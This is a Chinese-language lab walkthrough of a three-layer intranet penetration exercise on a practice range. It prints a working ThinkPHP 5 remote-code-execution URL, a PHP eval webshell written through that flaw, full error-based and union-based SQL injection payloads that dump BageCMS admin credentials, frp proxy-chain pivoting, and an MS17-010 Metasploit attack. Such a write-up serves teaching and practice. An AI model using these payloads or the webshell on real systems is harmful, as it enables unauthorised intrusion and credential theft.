引言

在過去的一些實戰經歷中發現自己內網相關的技能還比較薄弱,所以專門找了個靶場(teamssix.com)做下練習,靶場的web漏洞利用都很簡單,主要訓練自己內網搭代理隧道的熟練度,如果你和我一樣對復雜網絡下隧道搭建不熟悉的話,不妨一起看看這篇文章,希望能對你有一些幫助。

目標:拿下內網最深處主機的 flag.txt文件

外網打點

互聯網環境下發現一處資產 ,這里以 x.x.220.130 替代,直接訪問 x.x.220.130 發現以下頁面:

很明顯這是一個thinkphp應用,隨便指定一個路由 http://x.x.220.130/index.php/?s=123,爆出thinkphp的詳細版本。

tp5在 5.0-5.0.245.1.0-5.1.30都是存在RCE(Remote code Execution)的,這里運氣很好,直接使用5.0.x路由默認兼容模式進行RCE,使用以下payload 執行 id命令:

http:
//x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

可以看見命令執行成功。

接下來直接寫入一個shell ,使用php 的 file_put_contents 函數寫個一句話木馬:

http:
//x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E

驗證:

 驗證成功,直接使用蟻劍進行連接。

將超時時間調高,因為后續會上傳文件避免超時而中斷:

連接成功:

第一層的flag就在網站根目錄下面, 直接雙擊讀取即可:

突破邊界(第一層)

接上文,已經拿下第一臺服務器,嘗試對這臺服務器進行信息收集:

拿下的這臺服務器發現權限并不高僅為www,但是有驚喜的是這臺機器存在雙網卡,其中一張網卡( ens37)綁定了內網ip( 192.168.22.131),證明這臺服務器處于企業架構的DMZ(非軍事區)區域,且是兩個網段的邊界節點,那么我們只要借助這臺服務器作為跳板即可進入這家企業的內網,至少進入了 192.168.22.x/24網段的內網。

22 網段信息收集

既然發現了存在 192.168.22.x/24 網段,所以嘗試對 22 網段進行信息收集,這里使用fscan (https://github.com/shadow1ng/fscan)工具進行內網大保健.

上傳fscan 到服務器目錄 /tmp

 對 192.168.22.x/24 網段進行掃描:

.
/fscan -h 192.168.22.1/
24
-o fscan.log

查看掃描結果:

發現網段內還存在 192.168.22.128 ~~和 192.168.22.129~~ , 且 192.168.22.128:80 存在 cms服務。

接下來的目標就是拿下 192.168.22.128 服務器,直接通過DMZ這臺服務器因為權限太低所以不能直接用它來滲透,所以需要以第一臺服務作為跳板。

搭建跳板

 先畫個網絡拓撲圖,方便后續理解,第一臺機器我們也叫它 Target1.

因為在上一步信息收集時發現 192.168.22.128:80 (Target 2)存在 cms服務,有兩種方式進行利用:

  1. 對 Target 2 80 端口進行端口轉發。
  2. 使用反向代理,將Target 1 的網絡通過vps代理出去。

    為了進一步對內網進行探測,這里選擇第二種方式。

    反向代理有很多工具可以使用,frp、ew、ngrok都可以,這里使用frp方式。

frp存在服務端(frps)與客戶端(frpc), frps需要一直保持運行,轉發方式通過客戶端配置文件進行確定。

啟用frp 服務端

下載frps到自己的vps上,frps.ini 配置如下 :

其中 token 表示客戶端進行連接的驗證參數, 監聽端口為17001, dashboard 為frps自帶的儀表盤,方便對frps運行情況進行查看,

使用命令 frps-c frps.ini 啟動即可,如果想要后臺運行,可以加入service或者使用nohup啟動。

netstat 查看對應端口在監聽則證明啟動成功。使用配置的dashboard端口也能成功進入。

Target1 客戶端配置

 將frpc 傳入target1 /tmp/frp目錄:

frpc.ini 配置內容:

其中common內容與frps.ini保持一致即可, target1客戶端分別配置了socks5與http的代理方式,使用 frpc-c frpc.ini 進行啟動:

在 vps 服務器端分別發現了16004與16005端口,證明代理搭建成功!

這樣就相當于打通了外部與該企業的內網,在互聯網掛著vps 16004/16005的代理就能訪問 Target2 所在的網段:

進入第二層內網

在上一步驟中已經搭建好了內網代理,現在進行以下測試,首先在沒有使用代理時,192.168.22.128是無法訪問的:

通過瀏覽器插件配置代理,因為瀏覽器不支持socks5 代理的加密認證,所以這里配置http方式

再次訪問 192.168.22.128,成功訪問,到此我們就已經訪問了企業第二層內網:

雖然這里瀏覽器能夠正常訪問了,但是在滲透的過程中常常會使用安全工具進行掃描或者漏洞利用,這些工具大部分沒有預留走代理的配置,或者系統的代理往往不會生效,這種情況怎么辦呢?

所以這時候強制代理工具就很重要了,強制代理工具也有很多,這里使用proxifer,這款工具在win/mac下都有比較方便。

### 對`Target2` 進行端口掃描

雖然在之前的掃描中發現了Target2 80端口存在一個cms,但是 滲透總是照著軟柿子捏,我們嘗試使用nmap 對Target2 進行端口掃描,尋找其開放的端口。

1. 首先需要配置 Proxifer ,先配置代理服務器

2. 需要配置代理規則,按照下圖配置:

3. 使用nmap 進行掃描,注意的是socks本身也是建立在tcp基礎上的,所以nmap只能以tcp全連接的方式進行掃描,即: nmap-sT192.168.22.128-Pn

對21、22、3306 都進行了弱口令嘗試,但無解,888、8888 是寶塔的控制面板界面,嘗試了寶塔之前的phpmyadmin未授權訪問也無解。看樣子只能對80端口下手。

Bage cms 滲透

通過查看網頁底部指紋信息,知道這是一個bage cms搭建的網站,而且從時間上來看有些老舊。

通過在網上尋找bage cms的利用點發現均為一些任意文件讀取或者xss等后管的漏洞利用,雖然通過路徑掃描找到了后臺地址:http://192.168.22.128/index.php?r=admini/public/login

并沒有弱口令,而且因為有驗證碼 所以也沒法爆破,這個時候就茫然了,完全拿不下。

但總得抓個包先看看吧,聯想到之前某活動,有個巨佬通過注釋找到利用點拿到shell的場景,我這次也留意了注釋的內容,刺激的是果然在注釋里面有提示!

sql手工注入一把梭

訪問提示的地址 http://192.168.22.128/index.php?r=vul&keyword=1

    加上單引號,典型的mysql報錯注入:

    (不知為啥,圖被夾了)

所以使用報錯注入注出后管用戶名和密碼就好(中途發現報錯注入顯示的字符長度有限制,后面轉成了聯合注入),細節就不完整放了,很基礎,貼下過程中的payload:

-- 數據庫
-- bagecms
1
'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'
1
+
-- 注用戶
-- bagecms@localhost
1
'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'
1
+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1
'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'
bagecms
'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'
+
union
+
select
+(
select
+group_concat(distinct+column_name)+
from
+information_schema.columns+
where
+table_schema%
3d
'bagecms'
+
and
+table_name%
3d
'bage_admin'
),
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
10
,
11
,
12
,
13
,
14
,
15
,
16
,
17
,
18
,
19
,
20
,
21
,
22
,
23
,
24
,
25
,
26
,
27
,
28
,
29
,
30
,
31
,
32
,
33
,
34
,
35
,
36
,
37
,
38
,
39
+%
23
-- 注用戶名
-- admin
1
'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密碼
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'
+
union
+
select
+(
select
+group_concat(distinct+password)+
from
+bagecms.bage_admin ),
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
10
,
11
,
12
,
13
,
14
,
15
,
16
,
17
,
18
,
19
,
20
,
21
,
22
,
23
,
24
,
25
,
26
,
27
,
28
,
29
,
30
,
31
,
32
,
33
,
34
,
35
,
36
,
37
,
38
,
39
+%
23

把注入出來的md5 密碼去解一下,得到(admin/123qwe):

放入后門

使用注入得到的賬號密碼進行登錄,成功登錄。

后管直接把Target2 的flag給顯示出來了,嘗試繼續深入,給這臺服務上傳shell,上傳點存在限制,但是在模板功能模塊存在直接編輯模板代碼的功能,所以很簡單直接把一句話隨便找個文件放入就好:

嘗試使用蟻劍進行連接,因為Target2 是內網機器,所以要連接shell得先給蟻劍掛代理:

其余和Target1 一樣進行連接, 連接成功,至此 Target2 也被拿下。

進入第三層內網

同樣的步驟,先對剛拿下的Taget2 進行信息收集:

發現和 Target1 類似,同樣是雙網卡,且能訪問192.168.33.128 網段,和 Target1 不同的是不能出網,如果類比企業的話,33可能就是企業的核心生產網。

再次上傳fscan,對33網段進行內網大保健:

顯示33網段除了Target2 之外 ,還有一臺 192.168.33.33Target3) ,且該主機為win7 ,fscan掃描得出存在永恒之藍漏洞(MS17-010),所以可以再使用Target2的網絡對Target3發起永恒之藍攻擊

搭建雙層代理

往內網越深,需要搭建的代理就越多,內網的機器往往都是不出網的,所以需要依賴DMZ的機器作為總的出入口搭建代理鏈。

代理鏈搭建其實很簡單,就是在Target1 上啟動服務端,Target2 通過客戶端連接服務端, 然后在使用代理時先讓代理走target1 然后再走target2,即:

Hacker<->VPS<->Taget1<->Taget2<->Taget3

給Target1 運行frps 服務端,配置使用和vps相同的參數:

上Target2 運行客戶端,其余配置都一樣,把server_addr 換成開啟服務端的Target1ip(注意ip要是22段,不然網絡不通)

Target1 上開始監聽Target2 客戶端配置的代理ip時,說明配置成功。

永恒之藍(MS17-010)

永恒之藍這個漏洞很老了,算是復古一波,利用方式在msf里面就有,所以可以在vps上下載msf,給vps掛上代理鏈即可使用msf發起對Target3 的攻擊。

在linux上對應用進行強制代理的工具可以使用 proxychains-ng

proxychains-ng

在centos 上可以很方便的 yum install-y proxychains-ng 安裝即可

配置文件默認在 /etc/proxychains.conf ,按照如下順序配置(順序很重要,不能亂),因為我的frps就在這臺vps上,所以直接使用127.0.0.1即可:

剛剛fscan掃描結果可知192.168.33.33 開啟了 139和445 端口,使用proxtchain測試下,使用也非常簡單,在需要代理的命令前面加上 proxychain即可:

proxychains telnet192.168.33.33139

 從上圖可以看到端口已經通了,這時候就可以打開msf一把梭了。

msf

  1. 使用proxychains 啟動msfconsole

2. 搜索ms17-010,直接使用第一個就好:

3. 因為Target3 是不能出網的 ,所以不能使用默認的反向payload,需要指定正向payload:

4. 設置目標參數信息

5. exploit !!!

拿到Taget3 最高權限!嘗試去讀取flag

拿到flag!

截圖:

到這里已經拿到了第三層的內網主機最高權限,fscan掃描也沒有其他主機信息,可以確認這次就基本打穿了。

總結

回顧一下,本次滲透總共通過三個邊界節點的漏洞利用成功拿下身處最內網的Target3,分別通過TP5、Bage cms、永恒之藍作為漏洞利用點,借助frp 工具搭建代理鏈實現對內網的訪問。其實整個過程還是很簡單的,并沒有涉及到域相關的內容,后續有機會再分享。